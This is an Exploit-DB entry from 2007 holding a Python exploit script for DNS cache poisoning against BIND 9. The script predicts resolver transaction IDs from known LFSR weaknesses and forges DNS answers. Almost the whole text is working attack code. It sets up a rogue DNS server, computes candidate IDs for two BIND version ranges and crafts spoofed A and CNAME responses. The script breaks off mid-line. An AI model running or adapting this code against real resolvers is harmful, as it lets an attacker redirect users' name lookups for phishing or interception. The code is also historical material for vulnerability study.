Exploit-DB #4266
Description: BIND 9 0.3beta - DNS Cache Poisoning
Type: remote
Platform: multiple
Date: 2007-08-07
Author: posedge

Exploit:
#!/usr/bin/env python

"""
DNS Cache Poison v0.3beta by posedge
based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html

output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>

id: ID to predict
q: number of queries from the DNS server (only queries with LSB at 0 in ID)
g: number of good predicted IDs
e: number of errors while trying to predict a *supposed to be* predicted ID
"""

import socket, select, sys, time
from struct import unpack, pack
from socket import htons

_ANSWER_TIME_LIMIT = 1.0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
               [<your_dns2_hostname>, <your_dns2_ip>], \
               [<etc>, <etc>]]

class BINDSimplePredict:
  def __init__(self, txid, bind_9_2_3___9_4_1=True):
    self.txid = txid
    self.cand = []
    if bind_9_2_3___9_4_1 == True:
      # For BIND9 v9.2.3-9.4.1:
      self.tap1=0x80000057
      self.tap2=0x80000062
    else:
      # For BIND9 v9.0.0-9.2.2:
      self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
      self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
    self.next = self.run()
    return

  def run(self):

    if (self.txid & 1) != 0:
      #print "info: LSB is not 0. Can't predict the next transaction ID."
      return False
  
    #print "info: LSB is 0, predicting..."
  
    # One bit shift (assuming the two lsb's are 0 and 0)
    for msb in xrange(0, 2):
      self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
  
    # Two bit shift (assuming the two lsb's are 1 and 1)
    # First shift (we know the lsb is 1 in both LFSRs):
    v=self.txid
    v=(v>>1)^self.tap1^self.tap2
    if (v & 1) == 0:
      # After the first shift, the lsb becomes 0, so the two LFSRs now have
      # identical lsb's: 0 and 0 or 1 and 1
      # Second shift:
      v1=(v>>1) # 0 and 0
      v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
    else:
      # After the first shift, the lsb becomes 1, so the two LFSRs now have
      # different lsb's: 1 and 0 or 0 and 1
      # Second shift:
      v1=(v>>1)^self.tap1 # 1 and 0
      v2=(v>>1)^self.tap2 # 0 and 1
  
    # Also need to enumerate over the 2 msb's we are clueless about
    for msbits in xrange(0, 4):
      self.cand.append(((msbits<<14)|v1) & 0xFFFF)
      self.cand.append(((msbits<<14)|v2) & 0xFFFF)

    return True;
  
class DNSData:
  def __init__(self, data):
    self.data=data
    self.name=''

    for i in xrange(12, len(data)):
      self.name+=data[i]
      if data[i] == '\x00':
        break
    q_type = unpack(">H", data[i+1:i+3])[0]
    if q_type != 1: # only type: A (host address) allowed.
      self.name = None
    return

  def response(self, ip=None):
    packet=''
    packet+=self.data[0:2] # id
    packet+="\x84\x10" # flags
    packet+="\x00\x01" # questions
    packet+="\x00\x01" # answer RRS
    packet+="\x00\x00" # authority RRS
    packet+="\x00\x00" # additional RRS
    packet+=self.name # queries: name
    packet+="\x00\x01" # queries: type (A)
    packet+="\x00\x01" # queries: class (IN)
    packet+="\xc0\x0c" # answers: name
    if ip == None:
      packet+="\x00\x05" # answers: type (CNAME)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+=pack(">H", len(self.name)+2) # answers: data length
      packet+="\x01" + "x" + self.name # answers: primary name
    else:
      packet+="\x00\x01" # answers: type (A)
      packet+="\x00\x01" # answers: class (IN)
      packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
      packet+="\x00\x04" # answers: data length
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP
    #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" # Additional
    return packet

class DNSServer:
  def __init__(self):
    self.is_r = []
    self.is_w = []
    self.is_e = []
    self.targets = []
    self.named_conf = []
    
    for i in xrange(len(_NAMED_CONF)):
      start = 0
      tmp = ''
      for j in xrange(len(_NAMED_CONF[i][0])):
        if _NAMED_CONF[i][0][j] == '.':
          tmp += chr(j - start)
          tmp += _NAMED_CONF[i][0][start:j]
          start = j + 1
      tmp += chr(j - start + 1)
      tmp += _NAMED_CONF[i][0][start:] + "\x00"
      self.named_conf.append([tmp, _NAMED_CONF[i][1]])
    return

  def run(self):
    self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    self.s.bind(('',53))
    self.is_r.append(self.s)
    next = False
    i = 0

    while 1:
      r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
      if r:
        try:
          data, addr = self.s.recvfrom(1024)
        except socket.error:
          continue

        txid = unpack(">H", data[0:2])[0]
        p=DNSData(data)
        if p.name == None:
          continue

        found = False

        for j in xrange(len(self.named_conf)):
          if p.name == self.named_conf[j][0]:
            found = True
            break

        if found == True:
          self.s.sendto(p.response(self.named_conf[j][1]), addr)
          continue

        # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list...
        for i in xrange(len(self.targets)):
          if self.targets[i][0] == addr[0]:
            break
        if i == len(self.targets):
          self.targets.append([addr[0], False, time.time(), [None, None], \
            None, 0, 0, 0])

        if self.targets[i][1] == False:
          bsp = BINDSimplePredict(txid)
          self.targets[i][1] = bsp.next
          self.targets[i][3][0] = bsp.cand
          bsp = BINDSimplePredict(txid, False)
          self.targets[i][3][1] = bsp.cand
        else:
          if p.name == self.targets[i][4]:
            elapsed = time.time() - self.targets[i][2]
            if elapsed > _ANSWER_TIME_LIMIT:
              print 'info: slow answer, discarding (%.2f sec